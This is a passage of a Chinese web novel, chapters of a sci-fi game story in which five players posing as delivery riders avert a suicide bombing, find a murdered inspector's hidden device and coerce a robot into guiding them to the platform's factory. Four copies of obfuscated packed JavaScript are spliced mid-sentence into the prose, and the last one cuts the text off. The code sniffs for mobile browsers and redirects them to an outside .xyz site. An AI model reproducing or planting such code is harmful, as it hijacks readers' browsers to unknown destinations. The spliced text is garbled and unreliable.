现在岑今几乎可以肯定,这个副本的地图,就是参考现实中的南湾市设计的。 对照现实世界,这一单单主居住的新湾区Tower,位于南岸富人区的核心位置。这种有钱人,为什么会点“机油鸡尾酒”这种一听就很廉价的外卖呢? 驶出隧道,是南岸彻夜不眠的高楼大厦,还有宽阔平整的笔直大道。 南岸没有曲折隐蔽的小巷,没有坑坑洼洼的路面,也没有霸占通道的违章建筑。 岑今把油门拧到了顶,夏夜清爽的风钻进她的头盔。 除了摩托发出的轰鸣声时常被衣冠楚楚的路人投来白眼之外,这一路可以说是畅通无阻,自由自在。 倒计时00:07:25,岑今拎着外卖袋,站在了新湾区Tower的楼下。 抬头向上看,细长的圆柱形建筑直插云霄,一格一格的玻璃幕墙反射周围各色的灯光,泛起缤纷炫目的光泽。 岑今向一楼西装革履的大堂经理出示了订单,在经理的陪同或者说监视下,登上了塔楼中央的电梯。 四四方方的电梯间里,她随意站在一角,经理则是贴紧了对角线的另一端,尽己所能地努力远离着她。 看来“饿死了么”的骑手和“饿死了么”的外卖,确实不该出现在这个地方。 电梯上升的速度极快,岑今感觉自己的心脏有种坠坠的沉重——或许是因为超重感吧。 倒计时00:06:20,77层到了。 岑今迈出电梯,停在正前方01户的门前。经理远远地缀在她的身后,翻着不明显的白眼。 “您好,您点的外卖到了。” 滴的一声之后,房门像电梯门一样向两侧滑开,露出中间的一个人形。 来开门的是一个看不出年纪的男人,他的半张脸被金属取代,另外半张原生的脸上,眼眶深深下凹,眼尾没精神地耷拉着,唇上支棱着一圈青黑的胡茬,下巴的黑痣还冒出几根弯曲的须毛。 从精神状况来看,比起住在南岸核心地带的富人,他更像是北岸无家可归的流浪汉。 男人眼皮都没抬,眼神直勾勾地盯着岑今手中的外卖袋,问道:“机油鸡尾酒?” “是的。”岑今递过去。明明已经出了电梯,但她的心脏仍然被那种怪异的垂坠感攫紧。 “等我尝一口,没问题的话给你好评。”男人笑笑,接过了外卖袋。 他的双手也接受了义体改造,打开外卖袋时,机械手指的动作很灵活,一看就是高级义体。 他慢条斯理地加入冰块,倒入基酒、辅料,在杯边卡上了一枚装饰齿轮,还用打火机点燃了酒面。 然后,他第一次正眼看向岑今,对她举杯:“Cheers!最后一杯。” 岑今的目光落在他怪异的笑容上,心脏突然开始剧烈狂跳。 男人猛地将杯中液体一饮而尽,他的喉结滚动了一下。 下一秒,轰—— 巨大的爆炸声响起,一片刺目的、滚烫的白瞬间在岑今眼前绽开,携着万钧的力道,势要将她掀飞。 然而,在热浪卷上指尖的那一刹那,岑今的意识力已经完全汇聚在了那四个字上——时间回溯! 爆炸的白光开始收束,翻腾的热浪开始消退,男人喉中的酒又重新流回杯中,时间回到了他刚刚举起酒杯的那一刻。 岑今的脑海中只剩下一个念头:原来刚刚心脏的垂坠感,是在向她发出危机的示警。 她的心仍然跳得飞快,还顾不上喘息,自然下垂的右手就已经迅速地翻过了手腕,悄无声息地在酒杯下方打开了两个半透明的传送隧洞。 为了制造酒杯意外掉落的错觉,她让两个隧洞挨得极近,几乎要贴在一起。 这样,酒杯从上方的隧洞进入,又从下方的隧洞出现,没有时间差,也没有视觉落差。男人只能感觉到酒杯在手掌中发生了轻微的位移,然后就像是他没拿稳一样,啪地砸落在地。 碎开的玻璃躺在漫延的深灰色酒液中。 “没伤到您吧,万总?”身后的经理听到声响,翻上去的眼睛终于收了回来,三步并作两步上前,“清洁师马上就到,您先回房间休息?” 说完,他又扭头冷冷地瞥了一眼岑今:“也不知道提醒万总小心拿放,送个外卖都送不好。” 【咱们工人有力量(5)】 【岑今】:提高警惕,我这边遇到大爆炸,已解决 岑今刚悄悄发完消息,闻言抬起头微笑道:“万总想怎么拿就怎么拿,反正不会爆炸。碎了就碎了,正好碎碎平安。” 万总原本轻飘飘的目光倏地锐利起来,压下眉头,若有所思地盯着她。 看来她没猜错,机油鸡尾酒本身没问题,它只是被刻意选择成为了最终点燃“引线”的火苗。这个万总,估计早就在体内做好了改装,是准备好了故意要自爆的。 而在这个贫富悬殊的社会,像万总这样站在金字塔尖端的人,会沦落到和北岸流浪汉一个精神面貌,甚至喝下廉价鸡尾酒自爆的原因也很好猜——多半是破产了。 “没事,是我自己不小心。”万总终于开口了,原生的半张脸上没什么表情,“第一次点你们的酒,不知道握着杯身容易打滑。” “那万总常点什么?我帮万总再点一单吧。”岑今敏锐地抓住了万总落在“第一次”三个字上的重音,“这一单显示已经签收了,能麻烦万总给个五星好评吗?” 她熟练得像是已经在平台做骑手送了四十年的外卖:“今天外面风特别大,我怕订单超时,一路骑得飞快,好几次差点没刹住车,特别危险——” “我一般都点特制营养餐,你再给我送一份这个吧。”万总抬起手打断了她,没有再多说什么,转身回房了。 很好,空手套五星。她说要帮那万总点一单,可没说是什么时候点单,万总就好好等着吧。 叮咚—— 岑今低头看向接单器。 【订单用时:32分25秒】 【订单评价:五星】 【绩效得分:82分】 岑今又点开任务面板。 【主线任务:终结“饿死了么”平台试用期考核】 【完成进度:4%】 好吧,辛辛苦苦跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415986|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了20多公里,成功阻止了一次大爆炸,不仅绩效得分降了,主线甚至只推进到4%。 她登上电梯,在对角线另一头经理嫌弃的目光中,泰然自若地打开了群聊。 【咱们工人有力量(5)】 【谈闻】:差点死了,已解决 【路阳】:太吓人了,谈闻老师你为何那么淡定…… 【路阳】:我自己无事发生,回来的路上迎面撞见谈闻老师的血案现场!! 【姜月月】:刚送完,我这边是入室抢劫,人已经被我处理了。 【姜月月】:什么血案? 【林思妍】:月月好厉害!! 【林思妍】:这次我倒是还好诶,没发生什么奇怪的事情,也没有血案。 第一轮配送还是相对风平浪静的新手局,第二轮配送就有三个人遇到了危险。那第三轮配送呢? 岑今已经发现了,服从规则、老老实实送外卖,是没有前途的。 【咱们工人有力量(5)】 【岑今】:大家都没事就好 【岑今】:我们回大厅集合一下吧,我觉得需要改变策略了 【路阳】:那我回来跟大家细说血案!! 电梯稳稳地停在一楼。电梯门打开,岑今在经理身后走了出去。 忽然,她像是想起了什么一样,拍了拍经理的后背,又拍了拍经理的肩膀:“谢谢啊,麻烦你陪我跑一趟。” 经理依旧是一脸趾高气昂的样子,不说话,只挥挥手让她赶快离开。 岑今的目光落在经理的西装上,背后的布料被她的空间壳吞掉了两块,留下两个滑稽的镂空手掌印。 她带着一个经理不理解的愉悦笑容,同样和经理挥挥手,转身潇洒地离开了玻璃牢笼般的新湾区Tower。 等她骑着摩托跨越大半个城市,重新回到大厅的时候,另外四人都已经到了。 林思妍扑上来,像检查一块上等五花肉一样,把她翻来覆去地检查了一遍:“有没有受伤?大爆炸听起来也太吓人了!” “没事,我时间回溯了,新的时间线里没炸起来。”岑今一边两手平举任她宰割,一边向另一边问道,“月月,谈老板,你们俩没事吧?” 姜月月摇摇头:“抢劫的就是个普通人,对我没有威胁。” 谈闻也摇摇头,但他看起来不像没事的样子,脸色比平常要更苍白,像张一碰就会折的白纸,衣袖和胸口沾满了干涸的血迹。 “别担心,谈老板已经被我缝好了,只是有点失血过多而已。”林思妍顺着岑今的目光瞅了一眼谈闻。 “都是你的血?”岑今指了指他怵目惊心的衣服,“怎么会流这么多血?” “碰上报复社会的,持刀无差别攻击,不小心被捅到了。”谈闻的语气很平淡,像是在说一件和自己毫不相关的事,“不全是我的血,也有行凶那人的。” 路阳自发举手,声情并茂地给大家复原当时的场景:“你们是没看到,谈闻老师直接徒手握住了歹徒扎进他胸口的刀,割得手掌上全是血,滴滴答答地往下流!” “不过我还没来得及跑过去,谈闻老师就已经抵着歹徒,把刀拔了出来。然后他把还在滴血的小刀一转,毫不犹豫,直截了当地捅进了歹徒的喉咙!” 34.饿死了么(四) 岑今竖起一个大拇指:“猛。” 就在这时,刚进副本时给他们发接单器的方块机器人插进了几人中间:“警告!检测到大厅停留时间过长,配送效率严重低于D-600配送机器人!” 五个人的接单器同时“哔哔”地响了起来,岑今低头看去,是几条系统通知。 【当前人类骑手平均大厅停留时长为8分钟,D-600配送机器人平均大厅停留时长为1分钟,人类骑手送餐效率远低于D-600配送机器人。】 【D-600配送机器人平均绩效得分:97】 【请各位人类骑手抓紧配送,提高效率,向机器人看齐。三天试用期结束后,绩效得分低于D-600配送机器人平均得分的人类骑手,将被平台清理。】 大厅里响起一阵连绵不绝的哀鸣与咒骂。 路阳看了个开头就炸毛了:“老师们!你们看这通知说的是人话吗?97分!我们怎么可能卷得过?” 原来大厅停留时长也会影响绩效得分,怪不得拿到了五星好评,得分也不过八十多。 机器人不会累,不需要休息,也不需要吃喝。他们只要有电,就可以一单接着一单马不停蹄地配送。起码在这三天内,配送机器人就是永动机一般的存在。 但人类不可能做到这个程度。不可能不吃不喝,不可能单与单之间,只在大厅休息1分钟。 方块机器人的金属面罩上跳动着一个鲜红的叹号,雨露均沾地在每个人面前停留几秒钟,然后转身平移走了。 岑今这才开口:“不用卷。” “我们是来掀桌的,不是来和机器人内卷的。” 她抬起头,看向大厅正前方依旧繁忙的悬浮光屏。 在这个副本中,他们的身份是人类外卖骑手,一进副本就被塞了接单器,推着他们去接单送外卖,而且到目前为止,“送外卖”仍然是这个副本唯一明确的行动指令——作为一个如此核心的设定,“送外卖”这件事本身,不应当是无用的。 “对了,你们之前有送过特制营养餐吗?”岑今一心二用,一边紧盯着订单光屏,一边问道。 “我上一单就是!”路阳扬起了眉毛,“我送餐的那个地方是一个超级大的和风庭院,在庭院门口眺望都看不到屋子在哪的那种。门口有专门来拿外卖的小机器人,接过外卖就把门关上了,我都没见到单主。” 岑今自动提取关键信息:点餐人非富即贵,且神秘。 “我在屏幕上扫到过一单,地址和现实世界中南湾市的一片封闭别墅区同名。”谈闻偏头看向她,“穹顶伊甸园。” 这个地址,同样很富贵。 “你知道这个地方,为什么不接这一单?” “我怕一不小心见到我爸了。”谈闻的语气带着点笑意,像是在开玩笑。但结合此人的地主行径,岑今觉得,这一句倒很有可能是真话。 资本家的叛逆少爷离家出走来体验人生了?岑今的眼神在他苍白但精致的脸上飞快地转了一圈。 光屏上的订单不断滚动更替,在一溜的某某小区、某某公寓、几零几门牌号当中,她抓住了一条特殊的送餐地址:老城区槐安巷尽头。 一个没有确指的地址。 而它对应的订单内容则是——特制营养餐。 似乎有些不同寻常的特制营养餐,格格不入且听起来并不富贵的送餐地址。 “我来接单。”她说着,在接单器上选中了那一条她一眼相中的订单,“我觉得‘槐安巷尽头’的这单有点问题。” 谈闻眯起眼睛:“故弄玄虚,必有幺蛾子。” 其他几人也纷纷点头。 【订单编号:T14】 【订单内容:特制营养餐】 【送餐地址:老城区槐安巷尽头(距您7公里)】 【时间限制:10分钟】 时间很紧张,谁也不知道订单超时之后会发生什么,必须以最快的速度行动。 特制营养餐有单独的窗口,在大厅拐角处偏安一隅,闹中取静。台面上摆出待取的餐品只有两三袋,可见生意并不火爆。 【00:09:55】 五秒钟不到,岑今已经传送了一个来回,顺利取到T14号订单,重新回到大家面前。 “谈老板,我要骰子,”岑今笑嘻嘻地看着他,“摇到4的那种。” 谈闻没说话,旋转的金色六面骰缓缓在手心停了下来——朝上的一面,写着一个笔直的“1”。 岑今叹了口气。 ……没关系,她会时间回溯。 金色的六面骰再一次开始旋转,在众人期盼的目光中,金光灿灿的数字“4”赫然出现在了最上面。 谈闻抬手让骰子飞向她,虽然是问句,但语气十分笃定:“你时间回溯了吧。” 他的运气不可能这么好。 “有我在,保证你每次都有好运气。”岑今用拳头敲了敲自己的肩膀。 星星点点的金光散开,她轻松张开了一个足够容纳五人的巨大传送隧洞,而隧洞的另一头,开在大约三四公里之外。 她舒适地喟叹一声,开挂的感觉真好。 接连两次传送之后,几人顺利落地。导航显示,他们身前那条没有路灯的漆黑小巷,就是槐安巷。 岑今打开了直播界面,光屏上显示出自拍视角的画面。 【前面看起来好吓人】 【主播终于又露脸了!看起来气色不错,妈妈放心】 【在这种地方看到主播的脸真是让人安心啊...】 【好刺激,像城市废弃遗址探险】 【鬼屋爱好者狂喜】 【咱们工人代表一身正气,鬼怪退散】 这个时候打开直播,营业挣打赏值是其次的,主要是能借着自拍视角的直播画面观察后方的情况,心里会更有底一些。 岑今打头阵往里走,路阳跟在她身后,小心翼翼地踮着脚跳过一个水坑:“我最讨厌这种阴森森的地方!” 或许是刚下过雨,路面湿哒哒的,巷子里弥漫着一股潮湿的霉味。 “胆小。”姜月月面不改色,淡淡地吐出两个字。 她切换成黄金竖瞳,身后的金色蛇影暂且充当光源,淡淡的光芒包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426422|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裹着众人——起码看得清几步之内的路了。 【00:08:15】 巷子不算深,一分多钟的时间,就已经走到了底。 岑今看着眼前那堵爬满藤蔓的危墙,微微皱起了眉头。她能明确地感知到,危墙后面还存在一处空间。 姜月月吸吸鼻子,同样皱起了眉头:“有血腥味。” 谈闻随即看向脚下。槐安巷越往里走越泥泞,到现在这个位置,几人都已经一脚深一脚浅地踩在了烂泥里。 一想到脚下的烂泥可能泡过鲜血,他也忍不住险恶地皱起了眉头。 岑今抬手,【空间操纵】。满墙交织的藤蔓从中间位置被齐刷刷地拧断,藤条簌簌落下,露出墙体中央一扇低矮的、锈蚀的铁门。 铁门没有上锁,只是虚掩着。她上前一步推开门,生锈的铰链发出刺耳的嘎吱声。 “这种地方不可能有人住吧——” 路阳的话戛然而止。 如果说门外的地面是烂泥,那门内简直就是泥塘。在混浊的、能没过脚面的不明固液混合物中,躺着一个盖了一套破烂黑色工装的男人。他的胸口开了一个圆形的大洞,已经发青的脸庞上溅满了血迹。 林思妍拿出手术刀凑过去,用刀柄戳了戳男人的胸膛:“刚死不久哦。” 她这一系列操作,看得路阳又是龇牙,又是咧嘴的。 他颤巍巍地说道:“死、死掉的人怎么点单啊?把外卖点到这里,是、是想让快递员帮这位死者老师报警吗?” 能点得起富人爱点的特制营养餐,死者显然不可能是住在这儿的流浪汉。 那么,不论是谁下的单,把外卖点到他的死亡地址,这一单必然是有意为之。 岑今刚把外卖袋放下,掀开盖在男人身上的工装,想仔细看一看胸前那处过分规整的伤口,忽然眼前一黑,闪过一段段不连贯的画面。 她看见穿着黑色工装的男人一路狂奔,跌跌撞撞地拐进了小巷。 “警告——质检员周明,请立即停止逃跑!”熟悉又冰冷的声音响起,一个四四方方的机器人进入画面——和他们之前在大厅遇到的那位是同款。 他脚下有滚轮,移动的速度很快,金属面罩上高频闪动着一个愤怒的简笔画表情。 再一眨眼,穿黑工装的男人,也就是周明,已经站在了危墙后的铁门内。门外机器人的伸缩臂弹了出来,抓夹手贴上大门,向内施压。 周明死死用肩膀抵住铁门,大口喘着气,止不住颤抖的双手正往光脑内输入些什么。 又一次眨眼。一道蓝白的光束贯穿了铁门,也贯穿了门后周明的胸膛。他的胸口出现了一个拳头大小的洞,焦黑的边缘十分光滑,甚至没有立刻喷涌出鲜血。 机器人的金属面罩重新闭合,遮住了黑洞洞的发射口。它带着一个笑脸表情推开铁门,周明僵直着身体,被它推得向前扑倒在地,湿润的泥土地渐渐被鲜血染红。 “清理完毕。”机器人踢了他一脚,把搜得一干二净的黑色工装扔回了他的身上。 “岑今?岑今!” 是谈闻的声音。 35.饿死了么(五) 岑今眨了眨眼,眼前断断续续的画面瞬间消退,一只骨节分明的手出现在视野中,在她面前急切地来回晃动。 “能看见了?”谈闻盯着她的瞳孔逐渐聚焦,不动声色地松了口气,把手放了下来。 她点点头,声音不大:“看到了一点之前的片段。” 她的异能似乎又成长了,在“时间”的层面,不仅能偶尔看到碎片的未来、能时光倒流几秒钟,现在还可以看到碎片的过去。 很有用,但能力的触发暂时还不受她的控制。 她瞥了一眼手腕上的接单器,倒计时显示00:07:36。她大概入定了四五秒的样子,听起来虽然不长,但在危急的情境下,四五秒已经足够致命。 必须尽快成长起来,不能停留在现在这个尴尬的阶段。 岑今深吸了一口气,继续说道:“死者叫周明,是一名质检员,被‘饿死了么’的机器人追杀,然后死在了这里。” “他有光脑,不知道有没有被拿走。” 谈闻单膝半跪在她对面,也就是周明尸体的右侧:“你没事就好。我刚刚想和你说,他的右手似乎不太自然。” 岑今闻言看过去,周明的左手软软地垂落在泥水里,右手却勾了起来,还有几道细小的伤口,食指往外伸,似乎是在指向铁门右侧。 那里没什么特殊的,除了角落里一个横躺在泥水中的垃圾桶。 路阳离尸体远远的,正贴在铁门旁边,研究墙上挂下来的藤蔓。岑今一边捏着蹲麻了的小腿起身,一边指挥他:“路阳,你看看你脚边的那个垃圾桶,有没有什么不同寻常的垃圾?” “哈?什么叫不同寻常的垃圾?”他嘴上还在问着,手指已经嫌弃地捏住了桶边。 桶里除了凝结已久的污垢之外,空无一物。原本的垃圾散落在周围的一圈泥泞中,铁皮罐头被粗暴地拉开,被撕碎的纸壳泡在水里,显然已经被人翻找过。 路阳又一次触电般甩开手中完成检查的垃圾:“我看这些垃圾好像都挺寻常的……” 光脑已经被捡走了吗? 岑今走过去,和路阳一起站到了铁门旁。 之前的画面里,周明差不多也是站在这个位置,一边用肩膀抵着铁门,一边拿着光脑操作。 她一米七二,站直了,头顶差不多正好擦过门框。但周明很高,当时斜靠在这里,头顶也几乎和门框平齐。 岑今于是向上看去。 门框上方,密匝匝长着尖刺的藤蔓交错纵横,紧紧覆盖了整片墙面。 藤蔓上的尖刺,周明手上的伤口。 她抬手,还是和之前在门外时同样的操作,五指一拧,用空间操纵齐刷刷拧断了一整排藤蔓。 藤蔓像一张大网一样罩了下来,透过交织的空隙,在大网的背后,似乎有一个小巧的、灰黑色的影子也掉了下来,然后扑通一声,砸进了泥水里。 岑今掀开藤蔓,捞起袖子,伸手下去摸了摸。 冰凉的、光滑的、规整的……她迅速地拿起来,正是周明死前拿在手里的那个光脑。 原来藏在了高处的藤蔓里,还利用地上显眼的垃圾桶转移了注意力。怪不得没有被方块机器人搜到——毕竟它的身高还不到岑今肩膀。 “哇?!这是光脑?”路阳看岑今有了发现,激动地凑上来。 他这一嗓子,把在另一边检查现场的林思妍和姜月月都喊了过来。 “嗯,是死者的光脑。”岑今试着按了两次开机,但屏幕始终不亮。 林思妍顺手缝合了岑今手上被藤蔓划破的小口子:“是没电了吗?” “应该是,我想想别的办法。” 她的指尖划过仍在滴水的光脑,光滑的表面突然传来一阵过电般的颤栗。这种微微麻痹的感觉,似乎在她触碰到周明伤口的时候也出现过,只是当时她并没有过多留意。 岑今下意识想缩手,却发现指尖像是被某种无形的力量吸附在了光脑表面,细微又高频地震颤着。 一圈圈几乎透明的逆时针漩涡从指尖荡开,她的手指被牵引着向左滑动,与此同时,光脑原本漆黑的屏幕突兀地亮了起来。 岑今点开光屏,看向右上角的电量:1%——2%——3%…… “岑今老师,你这是自带生物电吗?”看着眼前的一幕,路阳震惊地睁大了眼睛。 传进岑今的耳朵,他的话语被拉长成了朦胧的嗡鸣。她试着让自己发出声音:“我……时间……” 她自己知道,她不是在给光脑充电,而是在逆转光脑本身的时间。 她能逆转事物的时间。 电量停滞在4%,久久没有变化,她的手指也被那股不知名的力量卡在了半空,没法再向左移动分毫。 看来是到极限了。 岑今卸下手上的力道,放弃和那股神秘力量对抗,光脑顺势滚落在她手中。 “我逆转了光脑的时间。”她口齿清晰地重复了一遍,震惊从路阳的脸上复制粘贴到了另外三人的脸上。 说完,她开始查看光脑后台的最近使用软件。 最新一项是“饿死了么”的订单界面。岑今往下滑,发现周明一连点了几十份一模一样的“特制营养餐”,分别预定在不同的时间点送达。 她接到的是第一单,预定在今晚24:00送达。 或许周明早就预料到了自己的死亡,然后选择用这样的方式,让他未说出口的秘密可能被后来人发现。 “死者是质检员,特制营养餐有问题。”岑今的语气很笃定。 周明会被“饿死了么”追杀灭口,一定是因为他发现了对平台威胁足够大的秘密。 一个质检员能发现什么惊天大秘密?——无外乎食品安全问题。 姜月月拆开外卖袋,打开餐盒,一股浓重的香气扑面而来,像是把十几种不同的辛香料混在了一起,熏得呛人。 在昏暗的光线下,特制营养餐乍一看就像是牛排套餐,中间是一块红彤彤的肉,边上摆了一坨淡黄色的土豆泥,还有几根绿色蔬菜做点缀。 她皱起鼻子:“调料味太大了,可能是为了掩盖肉本身的味道。” 路阳小心地用手指戳了戳那块肉,触感倒是没什么异常:“卖变质肉?挂羊头卖狗肉?” “光看看不出名堂,但现在这个情况,我们亲自品尝显然也不太合适。”谈闻从姜月月手里接过外卖盒,盖上盖子收了起来。 岑今和林思妍都赞同地点点头,明知这玩意儿有问题,谁也不敢贸然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436684|165628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送进嘴里。 她继续翻看周明的光脑。 邮箱的右上角有一个红点,岑今点开,发现有一封未读邮件,发送时间是今晚23:18。 发件人的名字是一串意义不明的数字,邮件内容是一张手绘的地图,上面标出了“加工区”“原料处理区”“办公区”等等不同的功能分区,像是某个工厂的平面图。 岑今用自己的光脑拍了下来。 “好像没有更多的信息了。”她关掉光屏,对围在身边的四人说道,“我猜那张地图画的是‘饿死了么’的大本营。” 【主线任务:终结“饿死了么”平台试用期考核】 【完成进度:30%】 之前一直没怎么变的任务进度终于有了一个大飞跃,这说明他们目前的方向是正确的。 岑今看向接单器,倒计时已经走到了00:01:49。 她再一次将指尖贴上周明的光脑,震动带来的颤栗与酥麻感涌来。熟悉的透明漩涡以她的指尖为圆心,向四周扩散,只不过这次的方向是顺时针,与之前相反。 她的手指缓缓向右滑动,光脑的电量随着她的动作一点点下降:4%——3%——2%——1%—— 原来这项新能力的生效方式是左滑快退,右滑快进,她心想。 然后,电量耗尽,光脑的屏幕突兀地变成了一片漆黑,就像刚捡起时那样。 岑今还想继续往右滑,但她的手就像是被一堵无形的空气墙卡住了,无论怎么用力,都没法再往右分毫。 看来,她能回到光脑的过去,但还无法做到“创造”光脑的未来。 本来还想顺便给订单点个签收,可惜是不行了。 倒计时00:01:18。 “订单配送时限快到了,我们先走。”岑今收起周明的光脑,对几人说。 周明已经死了,他的光脑一时间也没法重新开机,在这种情况下,订单没人签收,配送必然会超时。 而配送超时之后会发生什么,没有人知道。 “我们回大厅吗?”路阳已经站在了铁门外,晃着自己变成藤蔓的两条手臂问道。他还是第一次见这种长满倒刺的藤蔓,用来进攻的话会比荆棘更灵活。 “先回大厅,然后下一步——”岑今看向了直播界面,“直捣‘饿死了么’老巢。” 他们在“饿死了么”大厅的时候,只见过和他们一样送餐的骑手,但还从来没见过供餐的配送员,大厅的面积也容不下产量那么大的后厨。 而各个窗口的出餐速度又很快,这说明餐品的供应一定有更加便捷的运输渠道,不需要人工或者机器人工配送,就能直接运送到窗口后台。 所以“饿死了么”的大本营,也就是餐品制作加工的地方,离大厅必然不远,而且理论上,可以从窗口后台一路追溯过去。 倒计时00:00:00。 五人刚走出漆黑的小巷,回到大路上。还没迈出两步,岑今手腕上的接单器就开始滴滴滴地狂响。 林思妍摸了摸手臂上的鸡皮疙瘩:“这个警报声好瘆人啊。” “总觉得会倒霉。”姜月月淡淡地接了一句。 话音刚落,岑今余光瞥见,直播画面中似乎有蓝光一闪。 36.饿死了么(六) “进去!快!” 足够容纳五人的传送隧洞在瞬间成型,岑今一把把前面的路阳推进了洞里,又回头拽过了身后的两个女生。 下一秒,几人踉跄着出现在马路对面,谈闻最后一个迈出隧洞,但还好全须全尾,安全落地。 幸好一直开着直播界面,岑今心有余悸地想道。 他们刚刚站着的位置被一束蓝白色的光柱穿透,不远处,熟悉的方块机器人打开了金属面罩,黑洞洞的发射口缓缓向他们转来。 “检测到配送员岑今配送超时,”机器人的声音没有一丝起伏,不是从马路对面传来,而是从岑今的接单器中响起,“即刻执行清理!” 岑今立刻就反应过来了,他们的接单器有定位功能。 “原来配送超时也会被清理呀,好害怕。”林思妍害怕得很敷衍,脚下象征性地挪了两步,脸上甚至还笑眯眯的。 “估计一会儿还要说我们暴力反抗,直接判定为考核失败呢。”岑今叹了口气,“先帮你们把接单器砸了。” 说完,她五指收拢,几人手腕上的接单器接连噼啪作响,像是五颗爆米花前后炸开,接单器内部的结构已经被她用空间操纵切割得七零八碎。 “检测到配送员岑今、配送员姜月月、配送员林思妍、配送员路阳、配送员谈闻暴力反抗平台管理,即刻执行清理!即刻执行清理!”这次的声音是从马路对面传来的,听起来有点弱弱的。 岑今摊手:“我说吧。” “岑今老师,拆机器人你擅长,靠你了!”路阳已经自觉闪开,做好了随时跑路的准备。 深夜的街上空无一人,机器人横穿马路,向着他们高速平移而来。漆黑的发射口锁定了岑今位置,左右游移,微微下压,随时有可能发起下一次攻击。 但岑今没有给它这个机会。 激光炮这种武器很常见,她甚至在捡来的机器狗身上改装过。虽然看不到方块机器人的内部结构,但她凭经验,也能猜得八九不离十。 她的意识力探到炮筒的底部,再深的地方,要么装着激光器,要么装着反射镜。 不管是哪个,统统拧断就好。 岑今右手青筋爆起,虚空中用力一转。 咔咔两声金属的断裂声突兀地响起,方块机器人的炮筒抖了抖,彻底哑了火。 几乎是同一时刻,岑今的身影消失在原地,又从机器人身后的传送隧洞中悄然出现。 旁人看去,她只是随意将手搭在机器人的头顶,方块机器人自己却能清晰地感觉到,它脑袋里的零件像是正在被一只大手随意挑拣,只要轻轻一用力,那只手能把它的脑袋搅成一团浆糊。 而它的核心电池组,就安装在脑袋正中间。 “给我们带个路,饶你一命。”岑今闭着眼睛,用意识力探索方块机器人的头部结构。 或许是因为本来就熟悉构造,她现在对这些机械造物的“空间”操纵,是越发轻松了。 方块机器人的金属面罩啪地闭合,各种不同的表情在上面如乱码般跳动闪烁。 机器人一直没出声,岑今睁开一只眼睛,问道:“如何?” 她没顾得上看直播界面,但弹幕已经跌宕起伏地沸腾了好几个来回: 【代表!!代表!!你看看我们啊~】 【主播已经进化到这种徒手卸大炮的程度了吗?】 【这,就是48岁铁血修理工人的实力!】 【主播的异能到底是啥,没看明白】 【时!空!操!纵!绝帅】 【我去,听起来好爽】 【咱们工人代表是越来越出息了,呜呜】 【主播是不是靠我们发现偷袭的!】 【太好了,工友们也是出息起来了】 【我的魂还留在恐怖小巷,没飘回来……】 【无奖竞猜,特制营养餐到底是什么鬼东西】 “岑今岑今真厉害!”其他几人也走了过来,林思妍走在第一个,带头鼓起了掌。 而在漫长而复杂的沉默之后,方块机器人终于开口了:“可——以。” 它的金属面罩上,定格在一个看起来像是惊恐的简笔画表情。 “你都不问问我们要去哪儿?”岑今的意识力探到了一块四四方方的,像是电池的东西,她于是调动周围的空间,向里“捏了捏”。 方块机器人一阵瑟缩,机械地重复:“你们要去哪儿?” “‘饿死了么’的——”岑今略一斟酌,“工厂。” “好的,现在出发。”机器人一脸惊恐地答应,没有磨蹭,立即转身开始平移。 岑今依旧把手放在机器人的头顶,跟着机器人的步子一路往回走——她忽然有种自己在遛狗的错觉。 路阳在身后小声问道:“它真的会把我们带去工厂吗?” 说实话,岑今也摸不准方块机器人在刚刚乱码的几分钟里,究竟有怎样的心路历程。 她于是又“捏了捏”方块机器人的电池,问它:“你的底层指令应该是清理违规骑手吧?为什么愿意给我们带路?” 它仍然一脸惊恐:“我对死亡感到恐惧。” 岑今回过头看向路阳,路阳对她做了个浮夸的口型:真——的——吗? 她摇摇头。不好说。 岑今现在觉得,要想分辨机器人的真话与假话,要比分辨人类的更困难。 方块机器人没有眼神的变化,没有音调的起伏,表情也只有固定的那几个选择。她该凭借什么判断呢? 但眼下,他们五个都已经被划入了“暴力反抗平台管理”的行列,处于被追着清理的状态,再回到配送大厅去,只会是暴露坐标、自投罗网。 倒不如直接让这个看似被拿捏住了的机器人带路,大不了兵来将挡,水来土掩。再不济,岑今也还有【时间回溯】这张底牌。 【咱们工人有力量(5)】 【林思妍】:你们说,小方块会不会已经安排好机器人大军,在前面埋伏我们了? 【谈闻】:我赌我们能一锅端了。 【岑今】:这么狂? 【谈闻】:赌赢了,直接完成任务;赌输了,也算有一个盛大的结尾,哪种都行。 【姜月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 